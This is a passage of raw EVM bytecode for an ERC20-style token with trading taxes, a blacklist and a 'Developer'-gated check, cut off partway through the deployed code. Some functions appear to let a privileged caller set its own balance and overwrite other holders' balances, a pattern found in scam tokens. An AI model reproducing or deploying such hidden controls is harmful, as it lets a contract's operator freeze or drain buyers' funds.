ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612a705750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa690615044565b60405180910390fd5b5b601060009054906101000a900460ff1615612c7857612acd6116af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612b5457507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bac57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612c775743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c29906150fc565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d1b5750601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612dc257600854811115612d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5c9061518e565b60405180910390fd5b600a54612d71836111b2565b82612d7c9190614916565b1115612dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db4906151fa565b60405180910390fd5b612f60565b601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e655750601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612eb457600854811115612eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea69061528c565b60405180910390fd5b612f5f565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f5e57600a54612f11836111b2565b82612f1c9190614916565b1115612f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f54906151fa565b60405180910390fd5b5b5b5b5b5b6000612f6d306111b2565b905060006009548210159050808015612f925750600b60029054906101000a900460ff165b8015612fab5750600560149054906101000a900460ff16155b80156130015750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130575750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130ad5750601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156130f1576001600560146101000a81548160ff0219169083151502179055506130d5613ab1565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806131a75750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156131b157600090505b6000811561342a57601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561321457506000601554115b156132e157613241606461323360155488613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506015546017548261325491906147ca565b61325e9190614853565b601a600082825461326f9190614916565b925050819055506015546018548261328791906147ca565b6132919190614853565b601b60008282546132a29190614916565b92505081905550601554601654826132ba91906147ca565b6132c49190614853565b601960008282546132d59190614916565b92505081905550613406565b601f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561333c57506000601154115b1561340557613369606461335b60115488613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506011546013548261337c91906147ca565b6133869190614853565b601a60008282546133979190614916565b92505081905550601154601454826133af91906147ca565b6133b99190614853565b601b60008282546133ca9190614916565b92505081905550601154601254826133e291906147ca565b6133ec9190614853565b601960008282546133fd9190614916565b925050819055505b5b600081111561341b5761341a87308361381c565b5b808561342791906152ac565b94505b600080600f805490501180156134ba57508673ffffffffffffffffffffffffffffffffffffffff16600f6001600f8054905061346691906152ac565b81548110613477576134766152e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b905060005b600f80549050811080156134d1575081155b15613558578773ffffffffffffffffffffffffffffffffffffffff16600f8281548110613501576135006152e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614915080806135509061530f565b9150506134bf565b50806135c257600f879080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6135cd88888861381c565b50505050505b505050565b6000838311158290613620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161361791906142bf565b60405180910390fd5b506000838561362f91906152ac565b9050809150509392505050565b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60006001905060005b82518261ffff161015613817578060ff16600080858561ffff1681518110613757576137566152e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414613804578060ff16600080858561ffff16815181106137bd576137bc6152e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b818061380f90615366565b92505061372c565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561388c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161388390614eb4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156138fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138f390614f46565b60405180910390fd5b613907838383613e5d565b6139728160405180606001604052806026815260200161572e602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a05816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613aa491906144a6565b60405180910390a3505050565b6000613abc306111b2565b90506000601b54601954601a54613ad39190614916565b613add9190614916565b9050600080831480613aef5750600082145b15613afc57505050613d96565b6014600954613b0b91906147ca565b831115613b24576014600954613b2191906147ca565b92505b6000600283601a5486613b3791906147ca565b613b419190614853565b613b4b9190614853565b90506000613b628286613e6290919063ffffffff16565b90506000479050613b7282613eac565b6000613b878247613e6290919063ffffffff16565b90506000613bb287613ba460195485613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506000613bdd88613bcf601b5486613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506000818385613bee91906152ac565b613bf891906152ac565b90506000601a8190555060006019819055506000601b81905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613c58906153c2565b60006040518083038185875af1925050503d8060008114613c95576040519150601f19603f3d011682016040523d82523d6000602084013e613c9a565b606091505b505080985050600087118015613cb05750600081115b15613cfd57613cbf87826140e9565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601a54604051613cf4939291906153d7565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613d43906153c2565b60006040518083038185875af1925050503d8060008114613d80576040519150601f19603f3d011682016040523d82523d6000602084013e613d85565b606091505b505080985050505050505050505050505b565b600080831415613dab5760009050613e0d565b60008284613db991906147ca565b9050828482613dc89190614853565b14613e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dff90615480565b60405180910390fd5b809150505b92915050565b6000613e5583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506141c3565b905092915050565b505050565b6000613ea483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135d8565b905092915050565b6000600267ffffffffffffffff811115613ec957613ec86154a0565b5b604051908082528060200260200182016040528015613ef75781602001602082028036833780820191505090505b5090503081600081518110613f0f57613f0e6152e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fd891906154e4565b81600181518110613fec57613feb6152e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614051307f0000000000000000000000000000000000000000000000000000000000000000846124f7565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016140b395949392919061560a565b600060405180830381600087803b1580156140cd57600080fd5b505af11580156140e1573d6000803e3d6000fd5b505050505050565b614114307f0000000000000000000000000000000000000000000000000000000000000000846124f7565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161417996959493929190615664565b60606040518083038185885af1158015614197573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906141bc91906156da565b5050505050565b6000808311829061420a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161420191906142bf565b60405180910390fd5b50600083856142199190614853565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614260578082015181840152602081019050614245565b8381111561426f576000848401525b50505050565b6000601f19601f8301169050919050565b600061429182614226565b61429b8185614231565b93506142ab818560208601614242565b6142b481614275565b840191505092915050565b600060208201905081810360008301526142d98184614286565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614311826142e6565b9050919050565b61432181614306565b811461432c57600080fd5b50565b60008135905061433e81614318565b92915050565b6000819050919050565b61435781614344565b811461436257600080fd5b50565b6000813590506143748161434e565b92915050565b60008060408385031215614391576143906142e1565b5b600061439f8582860161432f565b92505060206143b085828601614365565b9150509250929050565b60008115159050919050565b6143cf816143ba565b82525050565b60006020820190506143ea60008301846143c6565b92915050565b600060208284031215614406576144056142e1565b5b60006144148482850161432f565b91505092915050565b6000819050919050565b600061444261443d614438846142e6565b61441d565b6142e6565b9050919050565b600061445482614427565b9050919050565b600061446682614449565b9050919050565b6144768161445b565b82525050565b6000602082019050614491600083018461446d565b92915050565b6144a081614344565b82525050565b60006020820190506144bb6000830184614497565b92915050565b6000602082840312156144d7576144d66142e1565b5b60006144e584828501614365565b91505092915050565b600080600060608486031215614507576145066142e1565b5b60006145158682870161432f565b93505060206145268682870161432f565b925050604061453786828701614365565b9150509250925092565b61454a816143ba565b811461455557600080fd5b50565b60008135905061456781614541565b92915050565b60008060408385031215614584576145836142e1565b5b60006145928582860161432f565b92505060206145a385828601614558565b9150509250929050565b600060ff82169050919050565b6145c3816145ad565b82525050565b60006020820190506145de60008301846145ba565b92915050565b6145ed81614306565b82525050565b600060208201905061460860008301846145e4565b92915050565b600080600060608486031215614627576146266142e1565b5b600061463586828701614365565b935050602061464686828701614365565b925050604061465786828701614365565b9150509250925092565b600060208284031215614677576146766142e1565b5b600061468584828501614558565b91505092915050565b600080604083850312156146a5576146a46142e1565b5b60006146b38582860161432f565b92505060206146c48582860161432f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061471557607f821691505b60208210811415614729576147286146ce565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614765602083614231565b91506147708261472f565b602082019050919050565b6000602082019050818103600083015261479481614758565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006147d582614344565b91506147e083614344565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156148195761481861479b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061485e82614344565b915061486983614344565b92508261487957614878614824565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006148e0602f83614231565b91506148eb82614884565b604082019050919050565b6000602082019050818103600083015261490f816148d3565b9050919050565b600061492182614344565b915061492c83614344565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149615761496061479b565b5b828201905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006149c8603983614231565b91506149d38261496c565b604082019050919050565b600060208201905081810360008301526149f7816149bb565b9050919050565b7f43616c6c6572206973206e6f7420446576656c6f706572000000000000000000600082015250565b6000614a34601783614231565b9150614a3f826149fe565b602082019050919050565b60006020820190508181036000830152614a6381614a27565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614ac6602483614231565b9150614ad182614a6a565b604082019050919050565b60006020820190508181036000830152614af581614ab9565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614b58603583614231565b9150614b6382614afc565b604082019050919050565b60006020820190508181036000830152614b8781614b4b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614bea603483614231565b9150614bf582614b8e565b604082019050919050565b60006020820190508181036000830152614c1981614bdd565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614c7c602683614231565b9150614c8782614c20565b604082019050919050565b60006020820190508181036000830152614cab81614c6f565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614ce8601b83614231565b9150614cf382614cb2565b602082019050919050565b60006020820190508181036000830152614d1781614cdb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614d7a602483614231565b9150614d8582614d1e565b604082019050919050565b60006020820190508181036000830152614da981614d6d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e0c602283614231565b9150614e1782614db0565b604082019050919050565b60006020820190508181036000830152614e3b81614dff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e9e602583614231565b9150614ea982614e42565b604082019050919050565b60006020820190508181036000830152614ecd81614e91565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614f30602383614231565b9150614f3b82614ed4565b604082019050919050565b60006020820190508181036000830152614f5f81614f23565b9050919050565b7f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460008201527f72616e73666572696e6720746f6b656e73000000000000000000000000000000602082015250565b6000614fc2603183614231565b9150614fcd82614f66565b604082019050919050565b60006020820190508181036000830152614ff181614fb5565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061502e601683614231565b915061503982614ff8565b602082019050919050565b6000602082019050818103600083015261505d81615021565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006150e6604983614231565b91506150f182615064565b606082019050919050565b60006020820190508181036000830152615115816150d9565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000615178603583614231565b91506151838261511c565b604082019050919050565b600060208201905081810360008301526151a78161516b565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006151e4601383614231565b91506151ef826151ae565b602082019050919050565b60006020820190508181036000830152615213816151d7565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615276603683614231565b91506152818261521a565b604082019050919050565b600060208201905081810360008301526152a581615269565b9050919050565b60006152b782614344565b91506152c283614344565b9250828210156152d5576152d461479b565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061531a82614344565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561534d5761534c61479b565b5b600182019050919050565b600061ffff82169050919050565b600061537182615358565b915061ffff8214156153865761538561479b565b5b600182019050919050565b600081905092915050565b50565b60006153ac600083615391565b91506153b78261539c565b600082019050919050565b60006153cd8261539f565b9150819050919050565b60006060820190506153ec6000830186614497565b6153f96020830185614497565b6154066040830184614497565b949350505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061546a602183614231565b91506154758261540e565b604082019050919050565b600060208201905081810360008301526154998161545d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506154de81614318565b92915050565b6000602082840312156154fa576154f96142e1565b5b6000615508848285016154cf565b91505092915050565b6000819050919050565b600061553661553161552c84615511565b61441d565b614344565b9050919050565b6155468161551b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61558181614306565b82525050565b60006155938383615578565b60208301905092915050565b6000602082019050919050565b60006155b78261554c565b6155c18185615557565b93506155cc83615568565b8060005b838110156155fd5781516155e48882615587565b97506155ef8361559f565b9250506001810190506155d0565b5085935050505092915050565b600060a08201905061561f6000830188614497565b61562c602083018761553d565b818103604083015261563e81866155ac565b905061564d60608301856145e4565b61565a6080830184614497565b9695505050505050565b600060c08201905061567960008301896145e4565b6156866020830188614497565b615693604083018761553d565b6156a0606083018661553d565b6156ad60808301856145e4565b6156ba60a0830184614497565b979650505050505050565b6000815190506156d48161434e565b92915050565b6000806000606084860312156156f3576156f26142e1565b5b6000615701868287016156c5565b9350506020615712868287016156c5565b9250506040615723868287016156c5565b915050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122015c80ac6e998069a876c94638efcbfc9e8952a9f0c5192929e44f98242a9ee5d64736f6c634300080b0033
Deployed Bytecode
0x6080604052600436106103035760003560e01c8063924de9b711610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610ba7578063f2fde38b14610bd2578063f637434214610bfb578063f8b45b0514610c265761030a565b8063dd62ed3e14610b14578063e2f4560514610b51578063e884f26014610b7c5761030a565b8063c17b5b8c14610a04578063c18bc19514610a2d578063c876d0b914610a56578063c8c8ebe414610a81578063d257b34f14610aac578063d85ba06314610ae95761030a565b8063a457c2d711610149578063ab9562fe11610123578063ab9562fe1461094a578063b62496f514610973578063bbc0c742146109b0578063c0246668146109db5761030a565b8063a457c2d7146108a7578063a9059cbb146108e4578063aacebbe3146109215761030a565b8063924de9b7146107a957806395d89b41146107d25780639a7a23d6146107fd5780639c3b4fdc146108265780639fccce3214610851578063a0d82dc51461087c5761030a565b80634a62bb651161024f578063751039fc116102085780638095d564116101e25780638095d564146107135780638a8c523c1461073c5780638da5cb5b14610753578063921369131461077e5761030a565b8063751039fc146106945780637571336a146106bf5780637bce5a04146106e85761030a565b80634a62bb65146105825780634fbee193146105ad5780636a486a8e146105ea5780636ddd17131461061557806370a0823114610640578063715018a61461067d5761030a565b80631f3fed8f116102bc5780632d5a5d34116102965780632d5a5d34146104c6578063313ce567146104ef578063395093511461051a57806349bd5a5e146105575761030a565b80631f3fed8f14610435578063203e727e1461046057806323b872dd146104895761030a565b806306fdde031461030f578063095ea7b31461033a57806310d5de53146103775780631694505e146103b457806318160ddd146103df5780631a8145bb1461040a5761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c51565b60405161033191906142bf565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c919061437a565b610ce3565b60405161036e91906143d5565b60405180910390f35b34801561038357600080fd5b5061039e600480360381019061039991906143f0565b610d01565b6040516103ab91906143d5565b60405180910390f35b3480156103c057600080fd5b506103c9610d21565b6040516103d6919061447c565b60405180910390f35b3480156103eb57600080fd5b506103f4610d45565b60405161040191906144a6565b60405180910390f35b34801561041657600080fd5b5061041f610d4f565b60405161042c91906144a6565b60405180910390f35b34801561044157600080fd5b5061044a610d55565b60405161045791906144a6565b60405180910390f35b34801561046c57600080fd5b50610487600480360381019061048291906144c1565b610d5b565b005b34801561049557600080fd5b506104b060048036038101906104ab91906144ee565b610e85565b6040516104bd91906143d5565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e8919061456d565b610f5e565b005b3480156104fb57600080fd5b50610504611050565b60405161051191906145c9565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c919061437a565b611059565b60405161054e91906143d5565b60405180910390f35b34801561056357600080fd5b5061056c61110c565b60405161057991906145f3565b60405180910390f35b34801561058e57600080fd5b50610597611130565b6040516105a491906143d5565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf91906143f0565b611143565b6040516105e191906143d5565b60405180910390f35b3480156105f657600080fd5b506105ff611199565b60405161060c91906144a6565b60405180910390f35b34801561062157600080fd5b5061062a61119f565b60405161063791906143d5565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143f0565b6111b2565b60405161067491906144a6565b60405180910390f35b34801561068957600080fd5b506106926111fa565b005b3480156106a057600080fd5b506106a9611352565b6040516106b691906143d5565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061456d565b61140d565b005b3480156106f457600080fd5b506106fd6114ff565b60405161070a91906144a6565b60405180910390f35b34801561071f57600080fd5b5061073a6004803603810190610735919061460e565b611505565b005b34801561074857600080fd5b506107516115d9565b005b34801561075f57600080fd5b506107686116af565b60405161077591906145f3565b60405180910390f35b34801561078a57600080fd5b506107936116d9565b6040516107a091906144a6565b60405180910390f35b3480156107b557600080fd5b506107d060048036038101906107cb9190614661565b6116df565b005b3480156107de57600080fd5b506107e7611793565b6040516107f491906142bf565b60405180910390f35b34801561080957600080fd5b50610824600480360381019061081f919061456d565b611825565b005b34801561083257600080fd5b5061083b611959565b60405161084891906144a6565b60405180910390f35b34801561085d57600080fd5b5061086661195f565b60405161087391906144a6565b60405180910390f35b34801561088857600080fd5b50610891611965565b60405161089e91906144a6565b60405180910390f35b3480156108b357600080fd5b506108ce60048036038101906108c9919061437a565b61196b565b6040516108db91906143d5565b60405180910390f35b3480156108f057600080fd5b5061090b6004803603810190610906919061437a565b611a38565b60405161091891906143d5565b60405180910390f35b34801561092d57600080fd5b50610948600480360381019061094391906143f0565b611a56565b005b34801561095657600080fd5b50610971600480360381019061096c919061437a565b611bad565b005b34801561097f57600080fd5b5061099a600480360381019061099591906143f0565b611c92565b6040516109a791906143d5565b60405180910390f35b3480156109bc57600080fd5b506109c5611cb2565b6040516109d291906143d5565b60405180910390f35b3480156109e757600080fd5b50610a0260048036038101906109fd919061456d565b611cc5565b005b348015610a1057600080fd5b50610a2b6004803603810190610a26919061460e565b611e05565b005b348015610a3957600080fd5b50610a546004803603810190610a4f91906144c1565b611ed9565b005b348015610a6257600080fd5b50610a6b611fe1565b604051610a7891906143d5565b60405180910390f35b348015610a8d57600080fd5b50610a96611ff4565b604051610aa391906144a6565b60405180910390f35b348015610ab857600080fd5b50610ad36004803603810190610ace91906144c1565b611ffa565b604051610ae091906143d5565b60405180910390f35b348015610af557600080fd5b50610afe61216a565b604051610b0b91906144a6565b60405180910390f35b348015610b2057600080fd5b50610b3b6004803603810190610b36919061468e565b612170565b604051610b4891906144a6565b60405180910390f35b348015610b5d57600080fd5b50610b666121f7565b604051610b7391906144a6565b60405180910390f35b348015610b8857600080fd5b50610b916121fd565b604051610b9e91906143d5565b60405180910390f35b348015610bb357600080fd5b50610bbc6122b8565b604051610bc991906144a6565b60405180910390f35b348015610bde57600080fd5b50610bf96004803603810190610bf491906143f0565b6122be565b005b348015610c0757600080fd5b50610c10612485565b604051610c1d91906144a6565b60405180910390f35b348015610c3257600080fd5b50610c3b61248b565b604051610c4891906144a6565b60405180910390f35b606060038054610c60906146fd565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8c906146fd565b8015610cd95780601f10610cae57610100808354040283529160200191610cd9565b820191906000526020600020905b815481529060010190602001808311610cbc57829003601f168201915b5050505050905090565b6000610cf7610cf06124ef565b84846124f7565b6001905092915050565b601e6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b601a5481565b60195481565b610d636124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de99061477b565b60405180910390fd5b670de0b6b3a76400006103e86001610e08610d45565b610e1291906147ca565b610e1c9190614853565b610e269190614853565b811015610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906148f6565b60405180910390fd5b670de0b6b3a764000081610e7c91906147ca565b60088190555050565b6000610e928484846126c2565b610f5384610e9e6124ef565b610f4e8560405180606001604052806028815260200161575460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f046124ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d89092919063ffffffff16565b6124f7565b600190509392505050565b610f666124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec9061477b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006012905090565b60006111026110666124ef565b846110fd85600160006110776124ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249190919063ffffffff16565b6124f7565b6001905092915050565b7f000000000000000000000000530f897d2ec44af2cc8987ade92f52d0b66ce24981565b600b60009054906101000a900460ff1681565b6000601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60155481565b600b60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112026124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112889061477b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061135c6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e29061477b565b60405180910390fd5b6000600b6000610